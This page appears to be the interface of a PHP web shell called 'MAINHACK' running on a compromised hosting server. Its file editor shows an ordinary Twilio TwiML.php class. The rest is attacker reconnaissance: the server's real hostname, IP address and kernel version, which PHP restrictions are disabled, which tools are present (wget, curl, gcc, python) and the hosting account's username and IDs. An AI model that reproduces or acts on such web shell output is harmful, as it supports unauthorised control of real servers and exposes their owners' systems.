[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TwiML.php
<?php namespace Twilio\TwiML; use DOMDocument; use DOMElement; /** * @property $name string XML element name * @property $attributes array XML attributes * @property $value string XML body * @property $children TwiML[] nested TwiML elements */ abstract class TwiML { protected $name; protected $attributes; protected $children; /** * TwiML constructor. * * @param string $name XML element name * @param string $value XML value * @param array $attributes XML attributes */ public function __construct($name, $value = null, $attributes = []) { $this->name = $name; $this->attributes = $attributes; $this->children = []; if ($value !== null) { $this->children[] = $value; } } /** * Add a TwiML element. * * @param TwiML|string $twiml TwiML element to add * @return TwiML $this */ public function append($twiml) { $this->children[] = $twiml; return $this; } /** * Add a TwiML element. * * @param TwiML $twiml TwiML element to add * @return TwiML added TwiML element */ public function nest($twiml) { $this->children[] = $twiml; return $twiml; } /** * Set TwiML attribute. * * @param string $key name of attribute * @param string $value value of attribute * @return static $this */ public function setAttribute($key, $value) { $this->attributes[$key] = $value; return $this; } /** * @param string $name XML element name * @param string $value XML value * @param array $attributes XML attributes * @return GenericNode */ public function addChild($name, $value = null, $attributes = []) { return $this->nest(new GenericNode($name, $value, $attributes)); } /** * Convert TwiML to XML string. * * @return string TwiML XML representation */ public function asXML() { return $this->__toString(); } /** * Convert TwiML to XML string. * * @return string TwiML XML representation */ public function __toString() { return $this->xml()->saveXML(); } /** * Build TwiML element. * * @param TwiML $twiml TwiML element to convert to XML * @param DOMDocument $document XML document for the element * @return DOMElement $element */ private function buildElement($twiml, $document) { $element = $document->createElement($twiml->name); foreach ($twiml->attributes as $name => $value) { if (\is_bool($value)) { $value = ($value === true) ? 'true' : 'false'; } $element->setAttribute($name, $value); } foreach ($twiml->children as $child) { if (\is_string($child)) { $element->appendChild($document->createTextNode($child)); } else { $element->appendChild($this->buildElement($child, $document)); } } return $element; } /** * Build XML element. * * @return DOMDocument Build TwiML element */ private function xml() { $document = new DOMDocument('1.0', 'UTF-8'); $document->appendChild($this->buildElement($this, $document)); return $document; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285